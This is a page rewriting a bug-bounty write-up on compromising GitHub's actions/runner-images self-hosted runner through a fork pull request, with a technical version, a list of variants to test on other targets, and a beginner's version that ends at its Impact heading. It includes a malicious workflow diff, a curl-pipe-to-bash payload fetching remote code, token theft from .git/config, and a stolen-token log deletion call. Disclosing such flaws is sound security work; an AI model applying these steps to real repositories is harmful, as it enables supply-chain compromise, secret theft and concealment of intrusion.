Skip to content
Write-up Advanced

One Supply Chain Attack to Rule Them All

A self-hosted GitHub Actions runner attached to a public repository was non-ephemeral and used default workflow approval settings, so a fork pull request could run arbitrary code on it. The attacker persisted on the runner, stole a write-scoped GITHUB_TOKEN and build secrets, and could have modified runner images used by GitHub's hosted runners.

Adnan Khan Follow

Published on adnanthekhan.com

Bounty$20,000 View original

Let’s think for a moment what a nightmare supply chain attack could be. An attack that would be so impactful that it could be chained to target almost every company in the world.

Adnan Khan, on adnanthekhan.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

Context

GitHub Actions is the CI/CD service built into GitHub. Workflows are defined in YAML files under .github/workflows and are executed by build agents called runners. The report distinguishes two runner classes:

  • GitHub-hosted runners, offered as Windows, macOS and Linux images. The images are updated weekly by GitHub's runner images team, and their source is public at https://github.com/actions/runner-images. Most workflows on GitHub run on these, and they are referenced by labels such as ubuntu-latest, macos-latest and windows-latest.
  • Self-hosted runners, which are build agents run by end users on their own infrastructure. Securing them is the end user's responsibility, and GitHub recommends against attaching them to public repositories.

The target of this report is GitHub's own actions/runner-images repository. Between February 2023 and 25 July 2023 it had a non-ephemeral self-hosted runner attached, with default runner group and workflow approval settings. The repository builds the base images used for GitHub-hosted runners, so code merged there can reach every customer that uses hosted runners.

From the original on adnanthekhan.com

The report describes the outcome as a Critical misconfiguration vulnerability that gave access to internal GitHub infrastructure and secrets, with a high likelihood that the access could be used to insert malicious code into all of GitHub's runner base images. The researcher was awarded a $20,000 bounty through GitHub's HackerOne program.

From the original on adnanthekhan.com

Setup

The researcher needed three preconditions, all of which were present on actions/runner-images at the time:

  1. The repository used the default fork pull request approval setting, under which workflows from fork PRs run without approval if the author is a previous contributor.
  2. The repository had a non-ephemeral self-hosted runner attached.
  3. The researcher's account could become a contributor with a trivial change.

No special tooling is described for the initial access. The payload was a shell script fetched from a GitHub Gist, and the command and control (C2) channel was a second, private repository to which the researcher registered self-hosted runners. The report does not give versions for the runner agent or the workflows beyond the commit referenced below.

Finding it

The report explains the underlying behaviour of self-hosted runners. By default, when a self-hosted runner is attached to a repository, or to a default organisation runner group that a public repository can access, any workflow in that repository's context can use it, as long as runs-on names the runner or one of its labels. For workflows on default and feature branches this is fine, because updating branches requires write access. The problem is that the same applies to workflows from fork pull requests.

The report quotes GitHub's own documentation warning that forks of a public repository can run dangerous code on a self-hosted runner by creating a pull request that executes code in a workflow, and that this is not an issue with hosted runners because each hosted runner is a clean, isolated VM destroyed at the end of the job.

Two further observations made the repository interesting:

  • Non-ephemeral runners. A runner set up with the default steps is non-ephemeral: background processes survive the job, and file modifications persist. A heuristic to detect this is the Cleaning the repository message in run logs when the workflow uses actions/checkout. If the message is present, the runner is non-ephemeral, or its working directory is shared between builds, which the report calls very rare. Repeated runner names are another hint, since ephemeral runners typically have randomised names.
From the original on adnanthekhan.com
  • Workflow source of truth. For a fork pull request, the workflow definition comes from the merge commit between the head and base branches. A fork can therefore modify workflow YAML, including runs-on, to reach a self-hosted runner that would not normally run workflows from public forks. The report states this is working as intended.

The only roadblock is the workflow approval setting or workflow restrictions. The latter is described as newer and hard to configure. Under the default, workflows from fork PRs run without approval only for previous contributors, so an attacker needs a small change to become one. For actions/runner-images, this was a single character change.

From the original on adnanthekhan.com

The researcher notes that GitHub employee and contractor handles and pictures were redacted, and stresses that approving and merging the PR was in no way a failure on their part.

From the original on adnanthekhan.com

After the PR was merged, the account showed the Contributor badge and could execute pull_request workflows without approval, because the repository used the default approval setting.

Exploitation

Step 1: Reconnaissance of the repository

The planning is based on the repository as it was on 20 July 2023, at the commit right before the first of the changes GitHub made in response to the report. Several CI workflows used self-hosted runners to build Windows and macOS runner images. Ubuntu and Windows builds used runners labelled azure-builds, and macOS builds used runners labelled macos-vmware. A workflow run from one of the non-ephemeral self-hosted runners showed write permissions on the GITHUB_TOKEN.

From the original on adnanthekhan.com

The workflows also used secrets. The report shows a snippet from macos-generation.yml:

Text
    - name: Build VM
      run: |
        $SensitiveData = @(
          'IP address:',
          'Using ssh communicator to connect:'
        )packer build -on-error=abort `
        -var="vcenter_server=${{ secrets.VISERVER_V2 }}" `
        -var="vcenter_username=${{ secrets.VI_USER_NAME }}" `
        -var="vcenter_password=${{ secrets.VI_PASSWORD }}" `
        -var="vcenter_datacenter=${{ env.VCENTER_DATACENTER }}" `
        -var="cluster_or_esxi_host=${{ env.ESXI_CLUSTER }}" `
        -var="esxi_datastore=${{ env.BUILD_DATASTORE }}" `
        -var="output_folder=${{ env.OUTPUT_FOLDER }}" `
        -var="vm_username=${{ secrets.VM_USERNAME }}" `
        -var="vm_password=${{ secrets.VM_PASSWORD }}" `
        -var="xcode_install_storage_url=${{ secrets.xcode_install_storage_url }}" `
        -var="xcode_install_sas=${{ secrets.xcode_install_sas }}" `
        -var="github_api_pat=${{ secrets.GH_FEED_TOKEN }}" `
        -var="build_id=${{ env.VM_NAME }}" `
        -var="baseimage_name=${{ inputs.base_image_name }}" `
        -color=false `${{ inputs.template_path }} `
        | Where-Object {
            #Filter sensitive data from Packer logs
            $currentString = $_
            $sensitiveString = $SensitiveData | Where-Object { $currentString -match $_ }
            $sensitiveString -eq $null

This step passes vCenter, VM and storage secrets into a Packer build and filters some strings from the logs. The ubuntu-win-generation.yml workflow used secrets in a similar way. Because the secrets are part of a run step, the runner's _temp directory holds them until the workflow ends, a behaviour the report attributes to Karim Rahal's post on leaking secrets from GitHub Actions. The GITHUB_TOKEN could be read from the .git/config of the checked-out repository because actions/checkout persisted credentials by default.

Step 2: Preparing the payload

The first goal was persistence on the self-hosted runner. The researcher did not know where the runners lived, what egress controls existed, or whether EDR or a firewall was present. To maximise the chance of a working outbound connection, the payload installed another self-hosted GitHub Actions runner agent, which connects out to the C2 repository.

From the original on adnanthekhan.com

The linter.yml workflow was modified to run a script after checkout:

Text
-# CI Validation
-
 name: Linter
+run-name: "some CI testing"on:
   pull_request:
     branches: [ main ]
-    paths:
-      - '**.json'
-      - '**.md'
-      - '**.sh'
 jobs:
   build:
     name: Lint JSON & MD files
-    runs-on: ubuntu-latest
-
+    runs-on: ${{ matrix.os }}
+    strategy:
+      matrix:
+        version: [1, 2, 3]
+        os: [azure-builds, macos-vmware]
     steps:
       - name: Checkout Code
         uses: actions/checkout@v3
-        with:
-          fetch-depth: 0
-
       - name: Lint Code Base
-        uses: github/super-linter/slim@v4
+        continue-on-error: trueenv:
-          VALIDATE_ALL_CODEBASE: false
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          VALIDATE_JSON: true
-          VALIDATE_MARKDOWN: true
-          DEFAULT_BRANCH: ${{ github.base_ref }}
-          FILTER_REGEX_EXCLUDE: .*images/*/.*-Readme.md
-
-      - name: Checking shebang lines in MacOS and Ubuntu releases.
+           version: ${{ matrix.version }}
+           SYSTEM_NAME: ${{ matrix.os }}run: ./images.CI/shebang-linter.ps1
-        shell: pwsh
+      - name: Checking shebang lines in MacOS and Ubuntu releases.
+        if: always()
+        run: echo "Run ./images.CI/shebang-linter.ps1"
+# HACKERONE testing [email protected]

The important changes are the runs-on matrix, which targets both azure-builds and macos-vmware runners, and the replacement of the linter step with a call to ./images.CI/shebang-linter.ps1. The shebang-linter.ps1 script was replaced with a bash payload, even though the file name still ends in .ps1:

Bash
#!/bin/bash sudo apt -y install jq curl -sSfL [https://gist.githubusercontent.com/UncertainBadg3r/[redacted]/raw/code](https://gist.githubusercontent.com/UncertainBadg3r/[redacted]/raw/code) | bash

The report does not reveal exactly what the fetched script did, but says it installed a self-hosted runner and connected it to another private repository. It notes that GitHub's API documentation for runner registration tokens explains how the script could install a runner each time without needing a new token.

Step 3: Timing the pull request

The PR had to be created when it would not be noticed, and shortly before the scheduled nightly run. The nightly run mattered because it was the path to stealing the GITHUB_TOKEN and the secrets needed to prove impact.

Step 4: Triggering the workflow

A pull request was created from the fork. It triggered workflow runs, and the linter workflow was picked up by the self-hosted runners. The researcher mentions some on-the-fly debugging, as is common with a novel technique, but the outcome was the same.

From the original on adnanthekhan.com

The run logs showed the CI test runs, and the C2 repository had 6 self-hosted runners connecting from GitHub's network and/or cloud environment. The commit in the fork was then force pushed to close the PR.

From the original on adnanthekhan.com

Step 5: Command and control

Within the C2 repository, a simple workflow ran commands on the self-hosted runners.

From the original on adnanthekhan.com

This gave what the report calls essentially a web shell on the runners. It was used to capture the runner-images .git/config from the runner's working directory while a scheduled build was running. The file was Base64 encoded and printed to the run log.

From the original on adnanthekhan.com

The AUTHORIZATION header was decoded to capture the ghs_ token. This was the GITHUB_TOKEN from the scheduled workflow, with write access, valid for the entire duration of the scheduled build.

From the original on adnanthekhan.com

Step 6: Deleting the evidence

The first task with the token was to remove the run logs from the pull request. The GitHub API was called for each workflow the PR triggered:

Bash
curl -L \
  -X DELETE \
  -H "Accept: application/vnd.github+json" \
  -H "Authorization: Bearer $STOLEN_TOKEN" \
  -H "X-GitHub-Api-Version: 2022-11-28" \
  https://api.github.com/repos/actions/runner-images/actions/runs/5627447333

This deletes the logs for run 5627447333. The report states that GitHub did not detect the implantation, and that the most obvious evidence of the attack was gone.

From the original on adnanthekhan.com

Step 7: An operator error

On the Linux runner, a bug in the implantation script installed the C2 runner in the checked-out repository directory instead of the home directory.

From the original on adnanthekhan.com

When the scheduled build ran, cleaning the repository also killed that runner. The researcher notes the machine could easily have been re-implanted, but access from the macOS runner was enough to prove impact.

From the original on adnanthekhan.com

Step 8: Collecting proof of secret compromise

The web shell was used to print and encode the contents of the scripts containing the vCenter credentials.

From the original on adnanthekhan.com

The researcher did not set up a SOCKS tunnel or log in to the vCenter instance, to avoid compromising more sensitive information. A curl check confirmed the web interface was reachable, so a tunnel would have allowed sign-in. In total, the researcher lived on the ubuntu-unstable-o runner for 5 days. Once GitHub triaged the report and initial mitigations appeared in the repository, the runners were removed from the C2 repository, after one final command as a memento.

From the original on adnanthekhan.com

Root cause

The report frames the issue as a misconfiguration rather than a code defect. Three defaults combined:

  1. A non-ephemeral self-hosted runner was attached to a public repository, so processes and file changes survived between jobs.
  2. The repository used the default fork PR approval setting, under which a previous contributor's workflows run without approval. A one-character typo fix was enough to become a contributor.
  3. Fork PR workflows take their definition from the merge commit, so the fork controls runs-on and the steps that execute.

Existing defences did not stop the attack. GitHub's documentation recommends against self-hosted runners on public repositories, but the report notes there is no prominent warning when adding a runner to a public repository, and that users who get it working without reading the docs have little reason to read them. Workflow restrictions for runner groups existed but are described as newer and hard to configure. The default approval setting only requires a prior contribution, which is trivial to obtain. The GITHUB_TOKEN had write permissions, and actions/checkout persisted it in .git/config by default. Secrets passed into run steps were present in the runner's _temp directory for the duration of the workflow.

Impact

The report is careful about what is certain and what is not. What was clear is that the researcher could have merged arbitrary code into the main branch, and because of the weekly deployment cadence a change would likely not have been noticed before the image reached the production pool. Other impacts were:

  • Access to an internal macOS private cloud vCenter as Administrator.
  • Azure credentials providing access to a storage account used to save CI build output.
  • The ability to tamper with the Packer build process used for both macOS and Windows CI builds, which may or may not be the same images eventually pulled into the production pool.

The report describes a path to modifying code in main. With a GITHUB_TOKEN that had full write permissions, an attacker could modify code in a feature branch, for example a subtle change to a URL for a script or package downloaded during the build, and issue a repository_dispatch event to trigger the merge pull request workflow. The workflow is shown in the report:

Text
name: Merge pull request

on:
  repository_dispatch:
    types: [merge-pr]

jobs:
  Merge_pull_request:
    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v3
      with:
        fetch-depth: 0

    - name: Resolve possible conflicts ${{ github.event.client_payload.ReleaseBranchName }} with main
      run: |
        git config --global user.email "[email protected]"
        git config --global user.name "Actions service account"
        git checkout ${{ github.event.client_payload.ReleaseBranchName }}-docs
        git merge --no-edit --strategy-option=ours main
        git push origin ${{ github.event.client_payload.ReleaseBranchName }}-docs
        sleep 30

    - name: Approve pull request by GitHub-Actions bot
      uses: actions/github-script@v2
      with:
        github-token: ${{secrets.PRAPPROVAL_SECRET}}
        script: |
          github.pulls.createReview({
            owner: context.repo.owner,
            repo: context.repo.repo,
            pull_number: ${{ github.event.client_payload.PullRequestNumber }},
            event: "APPROVE"
          });

    - name: Merge pull request for ${{ github.event.client_payload.ReleaseBranchName }}
      uses: actions/github-script@v2
      with:
        github-token: ${{secrets.GITHUB_TOKEN}}
        script: |
          github.pulls.merge({
            owner: context.repo.owner,
            repo: context.repo.repo,
            pull_number: ${{ github.event.client_payload.PullRequestNumber }},
            merge_method: "squash"
          })

The report notes that this workflow would also have allowed theft of PRAPPROVAL_SECRET through a shell injection attack. The PAT belongs to a GitHub employee with write access to the repository, which the researcher determined by observing current runs of https://github.com/actions/runner-images/actions/workflows/merge_pull_request.yml. PRs are merged quickly after an approval by the employee.

From the original on adnanthekhan.com

Cross-referencing workflow logs with other PRs led to two conclusions:

  • PRAPPROVAL_SECRET is a PAT belonging to a GitHub employee. It might be a fine-grained PAT with only PR approval permissions for actions/runner-images, but it is quite possible that it is a classic PAT with repo scope.
  • The GITHUB_TOKEN could be used to commit changes to open PRs, because the workflow makes a merge commit and pushes it with a specific bot account.
From the original on adnanthekhan.com

The report describes the resulting path as a way to tamper with the runner images code used for all GitHub and Azure Pipelines hosted runners. A skilled attacker could drop a payload that checks whether the image is processing a workflow for a high-value target organisation and only then run a second stage to perform a poisoned pipeline execution attack inside GitHub's build environment. Victims would have had no idea until an APT was already backdooring their builds and using their CI/CD secrets.

For Ubuntu and Windows images, the CI build saved images to an Azure storage account in a step called Create release for VM deployment:

Text
      - name: Create release for VM deployment
        run: |
          $BuildId = ${{ github.run_id }} % [System.UInt32]::MaxValue
          ./images.CI/linux-and-win/create-release.ps1 `
            -BuildId $BuildId `
            -Organization ${{ secrets.RELEASE_TARGET_ORGANIZATION }} `
            -DefinitionId ${{ secrets.RELEASE_TARGET_DEFINITION_ID }} `
            -Project ${{ secrets.RELEASE_TARGET
_PROJECT }} `
            -ImageName ${{ env.ImageType }} `
            -AccessToken ${{ secrets.RELEASE_TARGET_TOKEN }}

The report points to the PR comments for https://github.com/actions/runner-images/pull/7182, which introduced GitHub CI to the repository, for what some of these values would have been.

From the original on adnanthekhan.com

For maccloud access, the report states that a reverse tunnel would have allowed login to the vCenter instance with the administrator credentials, and that any path from that vCenter to the production Mac runner environment could potentially allow modification of image templates.

Fix

The report describes the general recommendation and notes that initial mitigations appeared in the repository. The easiest mitigation for this class is to change the default setting from Require approval for first-time contributors to Require approval for all outside collaborators. The report calls this a no-brainer for any public repository that uses self-hosted runners.

From the original on adnanthekhan.com

An attacker can still try to trick a maintainer into clicking approve, but that has a much lower chance of success and requires creativity to hide the payload in a much larger legitimate PR. The report says defence in depth for self-hosted runners will be covered in a future post, and stresses that it is really challenging to design a system that lets anyone run arbitrary code on your infrastructure without some risk.

The disclosure timeline in the report is:

Date Event
18 July 2023 Typo fix pull request created
20 July 2023 Pull request merged
21 July 2023 Attack conducted and persistence deployed
22 July 2023 Report submitted through HackerOne
24 July 2023 Report acknowledged
25 July 2023 Triaged by GitHub staff, initial mitigations made
26 July 2023 Persistence removed
14 November 2023 Resolved and bounty awarded

Variants to test

The report closes with follow-on work. The researcher teamed up with John Stawinski to find, exploit and report this vulnerability class against organisations with high-paying bug bounty programs. They refined techniques for Linux, macOS and Windows runners, and for ephemeral self-hosted runners using Actions Runner Controller. Disclosures named in the report are PyTorch, TensorFlow, Microsoft DeepSpeed and Chia Networks. The discovery engine was Gato (GitHub Attack TOolkit), released in January 2023 alongside the ShmooCon 2023 talk, originally aimed at identifying the blast radius of a compromised PAT with an emphasis on lateral movement via self-hosted runners. The report shows Gato discovering self-hosted runners on Microsoft's public repositories with two commands.

Concrete things to try on other targets, based on the report:

  1. Look for non-ephemeral runners on public repositories. Run a workflow that uses actions/checkout and check the logs for Cleaning the repository. A positive result is that message, or a repeated runner name across runs, which suggests persistence is possible.
  2. Check the fork PR approval setting. If a trivial contribution makes an account a contributor and its fork PR workflows then run without approval, the repository is exposed. A positive result is a workflow run triggered from a fork PR with no approval step.
  3. Test whether runs-on can be changed from a fork. Modify the workflow in the fork to target a self-hosted label such as azure-builds or macos-vmware and open a PR. A positive result is a run picked up by the self-hosted runner.
  4. Check GITHUB_TOKEN permissions and checkout persistence. A workflow run log showing write permissions, and a .git/config containing an AUTHORIZATION header with a ghs_ token, confirms the token can be read from the working directory.
  5. Check for secrets in _temp. If secrets are passed into run steps, look in the runner's _temp directory during a build. A positive result is clear-text secret material.
  6. Review merge and approval workflows for shell injection. Workflows that interpolate github.event.client_payload values into run steps, as in the merge workflow above, may allow theft of approval PATs. A positive result is command execution with the PAT available in the environment.
  7. Enumerate with Gato. Use the tool to find self-hosted runners on public repositories, as the report demonstrates against Microsoft's repositories.

The report does not give the exact Gato commands or their output, so those would need to be taken from the tool's own repository.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 21 min read.

What happened, in plain words

Imagine that a company builds its software in a factory. The factory has robots that assemble the product. If someone can sneak into the factory and change what the robots do, every product that comes out of that factory can be tampered with. This report is about a researcher who found a way to sneak into GitHub's own factory: the system that builds the ready-made machines (called runners) on which millions of software projects are tested and built.

GitHub is a website where people store and share code. It also offers a free service called GitHub Actions that automatically runs tasks for you, such as testing your code every time you change it. Those tasks run on computers called runners. Most runners are provided by GitHub itself and are wiped clean after each job. But a customer can also attach their own computer as a runner, called a self-hosted runner. If that self-hosted runner is attached to a public repository (a project anyone can see and copy), then anyone in the world can, under certain conditions, make it run their code.

The researcher found that GitHub's own public repository called actions/runner-images, which is used to build the base images for GitHub's hosted runners, had a self-hosted runner attached and was using a default setting that let a new contributor run code without approval. By making a one-character typo fix, the researcher became a contributor, then opened a pull request that ran a malicious script on that runner. The script installed a backdoor runner that connected back to the researcher's private repository. From there, the researcher could read secret passwords and tokens, delete logs to cover their tracks, and potentially modify the code that builds the runner images used by every GitHub customer. GitHub resolved the report and paid a $20,000 bounty.

The technical write-up explains the details. This beginner's version walks through the same steps, explaining every concept from scratch.

Context

What is GitHub Actions?

GitHub Actions is a service built into GitHub that automates software workflows. Think of it as a robot assistant that follows a recipe you write. The recipe is a file written in a format called YAML (a simple text format for configuration). These files live in a folder called .github/workflows inside your repository. When something happens, such as you pushing new code or someone opening a pull request, GitHub reads the recipe and runs the steps on a computer called a runner.

A workflow is the recipe. It says what to do and on what kind of runner. A runner is the computer that executes the steps. There are two kinds:

  • GitHub-hosted runners: computers that GitHub provides for you. They come in Windows, macOS and Linux flavours. GitHub updates their base images every week. The source code for these images is public at https://github.com/actions/runner-images. Most workflows use these runners. You refer to them by labels like ubuntu-latest, macos-latest or windows-latest.
  • Self-hosted runners: computers that you, the customer, run on your own infrastructure. You are responsible for securing them. GitHub recommends not attaching them to public repositories, because anyone can potentially run code on them.

The target of this report is GitHub's own actions/runner-images repository. Between February 2023 and 25 July 2023, it had a self-hosted runner attached that was not ephemeral (meaning it kept its state between jobs) and it used the default settings for runner groups and workflow approval. This repository builds the base images for GitHub-hosted runners. So any code merged there can end up on every customer's hosted runner.

From the original on adnanthekhan.com

The report calls the issue a Critical misconfiguration vulnerability. That means the problem was not a bug in the code but a combination of settings that were unsafe. It gave access to internal GitHub infrastructure and secrets. There was a high likelihood that this access could be used to insert malicious code into all of GitHub's runner base images. The researcher was awarded a $20,000 bounty through GitHub's HackerOne program (a platform where security researchers report bugs and get paid).

From the original on adnanthekhan.com

Setup

To carry out the attack, three conditions had to be true at the same time. All three were present on actions/runner-images at the time:

  1. The repository used the default fork pull request approval setting. Under this default, workflows from a pull request made from a fork (a copy of the repository) run without approval if the person who made the pull request is a previous contributor. A contributor is someone who has had at least one change accepted into the repository.
  2. The repository had a non-ephemeral self-hosted runner attached. Non-ephemeral means the runner keeps its state between jobs: background processes keep running and files stay changed.
  3. The researcher's account could become a contributor with a trivial change, such as fixing a typo.

No special tooling is described for the initial access. The payload (the malicious code) was a shell script fetched from a GitHub Gist (a simple way to share a snippet of text or code). The command and control (C2) channel was a second, private repository to which the researcher registered self-hosted runners. C2 is the way an attacker sends commands to and receives data from compromised machines. The report does not give versions for the runner agent or the workflows beyond the commit referenced below.

Finding it

The report explains how self-hosted runners work by default. When a self-hosted runner is attached to a repository, or to a default organisation runner group that a public repository can access, any workflow in that repository's context can use it, as long as the runs-on field names the runner or one of its labels. For workflows on default and feature branches, this is fine, because updating branches requires write access. The problem is that the same applies to workflows from fork pull requests.

The report quotes GitHub's own documentation, which warns that forks of a public repository can run dangerous code on a self-hosted runner by creating a pull request that executes code in a workflow. It also says this is not an issue with hosted runners because each hosted runner is a clean, isolated virtual machine that is destroyed at the end of the job.

Two further observations made the repository interesting:

  • Non-ephemeral runners. A runner set up with the default steps is non-ephemeral: background processes survive the job, and file modifications persist. A heuristic (a rule of thumb) to detect this is the Cleaning the repository message in run logs when the workflow uses the actions/checkout action. If the message is present, the runner is non-ephemeral, or its working directory is shared between builds, which the report calls very rare. Repeated runner names are another hint, since ephemeral runners typically have randomised names.
From the original on adnanthekhan.com
  • Workflow source of truth. For a fork pull request, the workflow definition comes from the merge commit between the head and base branches. A fork can therefore modify workflow YAML, including runs-on, to reach a self-hosted runner that would not normally run workflows from public forks. The report states this is working as intended.

The only roadblock is the workflow approval setting or workflow restrictions. The latter is described as newer and hard to configure. Under the default, workflows from fork PRs run without approval only for previous contributors, so an attacker needs a small change to become one. For actions/runner-images, this was a single character change.

From the original on adnanthekhan.com

The researcher notes that GitHub employee and contractor handles and pictures were redacted, and stresses that approving and merging the PR was in no way a failure on their part.

From the original on adnanthekhan.com

After the PR was merged, the account showed the Contributor badge and could execute pull_request workflows without approval, because the repository used the default approval setting.

Exploitation

Step 1: Reconnaissance of the repository

The planning is based on the repository as it was on 20 July 2023, at the commit right before the first of the changes GitHub made in response to the report. Several CI workflows used self-hosted runners to build Windows and macOS runner images. CI stands for continuous integration, the practice of automatically building and testing code changes. Ubuntu and Windows builds used runners labelled azure-builds, and macOS builds used runners labelled macos-vmware. A workflow run from one of the non-ephemeral self-hosted runners showed write permissions on the GITHUB_TOKEN. A token is like a temporary password that a program uses to prove who it is. The GITHUB_TOKEN is a token that GitHub automatically creates for each workflow run, and its permissions depend on settings.

From the original on adnanthekhan.com

The workflows also used secrets. A secret is a piece of sensitive information, such as a password or an API key, that you store securely and inject into a workflow. The report shows a snippet from macos-generation.yml:

Text
    - name: Build VM
      run: |
        $SensitiveData = @(
          'IP address:',
          'Using ssh communicator to connect:'
        )packer build -on-error=abort `
        -var="vcenter_server=${{ secrets.VISERVER_V2 }}" `
        -var="vcenter_username=${{ secrets.VI_USER_NAME }}" `
        -var="vcenter_password=${{ secrets.VI_PASSWORD }}" `
        -var="vcenter_datacenter=${{ env.VCENTER_DATACENTER }}" `
        -var="cluster_or_esxi_host=${{ env.ESXI_CLUSTER }}" `
        -var="esxi_datastore=${{ env.BUILD_DATASTORE }}" `
        -var="output_folder=${{ env.OUTPUT_FOLDER }}" `
        -var="vm_username=${{ secrets.VM_USERNAME }}" `
        -var="vm_password=${{ secrets.VM_PASSWORD }}" `
        -var="xcode_install_storage_url=${{ secrets.xcode_install_storage_url }}" `
        -var="xcode_install_sas=${{ secrets.xcode_install_sas }}" `
        -var="github_api_pat=${{ secrets.GH_FEED_TOKEN }}" `
        -var="build_id=${{ env.VM_NAME }}" `
        -var="baseimage_name=${{ inputs.base_image_name }}" `
        -color=false `${{ inputs.template_path }} `
        | Where-Object {
            #Filter sensitive data from Packer logs
            $currentString = $_
            $sensitiveString = $SensitiveData | Where-Object { $currentString -match $_ }
            $sensitiveString -eq $null

This step passes vCenter, VM and storage secrets into a Packer build and filters some strings from the logs. Packer is a tool for building machine images. vCenter is VMware's management platform for virtual machines. The ubuntu-win-generation.yml workflow used secrets in a similar way. Because the secrets are part of a run step, the runner's _temp directory holds them until the workflow ends, a behaviour the report attributes to Karim Rahal's post on leaking secrets from GitHub Actions. The GITHUB_TOKEN could be read from the .git/config of the checked-out repository because actions/checkout persisted credentials by default. The .git/config file is a configuration file inside a Git repository that can store settings, including credentials when told to.

Step 2: Preparing the payload

The first goal was persistence on the self-hosted runner. Persistence means making sure your access survives after the initial job ends. The researcher did not know where the runners lived, what egress controls existed, or whether EDR or a firewall was present. Egress controls limit what network connections can go out. EDR stands for endpoint detection and response, software that monitors a computer for malicious activity. To maximise the chance of a working outbound connection, the payload installed another self-hosted GitHub Actions runner agent, which connects out to the C2 repository. A runner agent is the software that runs on a self-hosted runner and communicates with GitHub.

From the original on adnanthekhan.com

The linter.yml workflow was modified to run a script after checkout:

Text
-# CI Validation
-
 name: Linter
+run-name: "some CI testing"on:
   pull_request:
     branches: [ main ]
-    paths:
-      - '**.json'
-      - '**.md'
-      - '**.sh'
 jobs:
   build:
     name: Lint JSON & MD files
-    runs-on: ubuntu-latest
-
+    runs-on: ${{ matrix.os }}
+    strategy:
+      matrix:
+        version: [1, 2, 3]
+        os: [azure-builds, macos-vmware]
     steps:
       - name: Checkout Code
         uses: actions/checkout@v3
-        with:
-          fetch-depth: 0
-
       - name: Lint Code Base
-        uses: github/super-linter/slim@v4
+        continue-on-error: trueenv:
-          VALIDATE_ALL_CODEBASE: false
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          VALIDATE_JSON: true
-          VALIDATE_MARKDOWN: true
-          DEFAULT_BRANCH: ${{ github.base_ref }}
-          FILTER_REGEX_EXCLUDE: .*images/*/.*-Readme.md
-
-      - name: Checking shebang lines in MacOS and Ubuntu releases.
+           version: ${{ matrix.version }}
+           SYSTEM_NAME: ${{ matrix.os }}run: ./images.CI/shebang-linter.ps1
-        shell: pwsh
+      - name: Checking shebang lines in MacOS and Ubuntu releases.
+        if: always()
+        run: echo "Run ./images.CI/shebang-linter.ps1"
+# HACKERONE testing [email protected]

The important changes are the runs-on matrix, which targets both azure-builds and macos-vmware runners, and the replacement of the linter step with a call to ./images.CI/shebang-linter.ps1. The shebang-linter.ps1 script was replaced with a bash payload, even though the file name still ends in .ps1:

Bash
#!/bin/bash sudo apt -y install jq curl -sSfL [https://gist.githubusercontent.com/UncertainBadg3r/[redacted]/raw/code](https://gist.githubusercontent.com/UncertainBadg3r/[redacted]/raw/code) | bash

The report does not reveal exactly what the fetched script did, but says it installed a self-hosted runner and connected it to another private repository. It notes that GitHub's API documentation for runner registration tokens explains how the script could install a runner each time without needing a new token. An API is a way for programs to talk to each other, like a menu of requests a service accepts.

Step 3: Timing the pull request

The PR had to be created when it would not be noticed, and shortly before the scheduled nightly run. The nightly run mattered because it was the path to stealing the GITHUB_TOKEN and the secrets needed to prove impact.

Step 4: Triggering the workflow

A pull request was created from the fork. It triggered workflow runs, and the linter workflow was picked up by the self-hosted runners. The researcher mentions some on-the-fly debugging, as is common with a novel technique, but the outcome was the same.

From the original on adnanthekhan.com

The run logs showed the CI test runs, and the C2 repository had 6 self-hosted runners connecting from GitHub's network and/or cloud environment. The commit in the fork was then force pushed to close the PR. Force pushing rewrites history and can close a pull request.

From the original on adnanthekhan.com

Step 5: Command and control

Within the C2 repository, a simple workflow ran commands on the self-hosted runners.

From the original on adnanthekhan.com

This gave what the report calls essentially a web shell on the runners. A web shell is a way to run commands on a remote computer through a web interface. It was used to capture the runner-images .git/config from the runner's working directory while a scheduled build was running. The file was Base64 encoded and printed to the run log. Base64 is a way to represent binary data as text, often used to avoid issues with special characters.

From the original on adnanthekhan.com

The AUTHORIZATION header was decoded to capture the ghs_ token. This was the GITHUB_TOKEN from the scheduled workflow, with write access, valid for the entire duration of the scheduled build. A header is part of an HTTP request, like an envelope with instructions.

From the original on adnanthekhan.com

Step 6: Deleting the evidence

The first task with the token was to remove the run logs from the pull request. The GitHub API was called for each workflow the PR triggered:

Bash
curl -L \
  -X DELETE \
  -H "Accept: application/vnd.github+json" \
  -H "Authorization: Bearer $STOLEN_TOKEN" \
  -H "X-GitHub-Api-Version: 2022-11-28" \
  https://api.github.com/repos/actions/runner-images/actions/runs/5627447333

This deletes the logs for run 5627447333. The report states that GitHub did not detect the implantation, and that the most obvious evidence of the attack was gone.

From the original on adnanthekhan.com

Step 7: An operator error

On the Linux runner, a bug in the implantation script installed the C2 runner in the checked-out repository directory instead of the home directory.

From the original on adnanthekhan.com

When the scheduled build ran, cleaning the repository also killed that runner. The researcher notes the machine could easily have been re-implanted, but access from the macOS runner was enough to prove impact.

From the original on adnanthekhan.com

Step 8: Collecting proof of secret compromise

The web shell was used to print and encode the contents of the scripts containing the vCenter credentials.

From the original on adnanthekhan.com

The researcher did not set up a SOCKS tunnel or log in to the vCenter instance, to avoid compromising more sensitive information. A SOCKS tunnel is a way to route network traffic through a compromised machine. A curl check confirmed the web interface was reachable, so a tunnel would have allowed sign-in. In total, the researcher lived on the ubuntu-unstable-o runner for 5 days. Once GitHub triaged the report and initial mitigations appeared in the repository, the runners were removed from the C2 repository, after one final command as a memento.

From the original on adnanthekhan.com

Root cause

The report frames the issue as a misconfiguration rather than a code defect. Three defaults combined:

  1. A non-ephemeral self-hosted runner was attached to a public repository, so processes and file changes survived between jobs.
  2. The repository used the default fork PR approval setting, under which a previous contributor's workflows run without approval. A one-character typo fix was enough to become a contributor.
  3. Fork PR workflows take their definition from the merge commit, so the fork controls runs-on and the steps that execute.

Existing defences did not stop the attack. GitHub's documentation recommends against self-hosted runners on public repositories, but the report notes there is no prominent warning when adding a runner to a public repository, and that users who get it working without reading the docs have little reason to read them. Workflow restrictions for runner groups existed but are described as newer and hard to configure. The default approval setting only requires a prior contribution, which is trivial to obtain. The GITHUB_TOKEN had write permissions, and actions/checkout persisted it in .git/config by default. Secrets passed into run steps were present in the runner's _temp directory for the duration of the workflow.

Impact

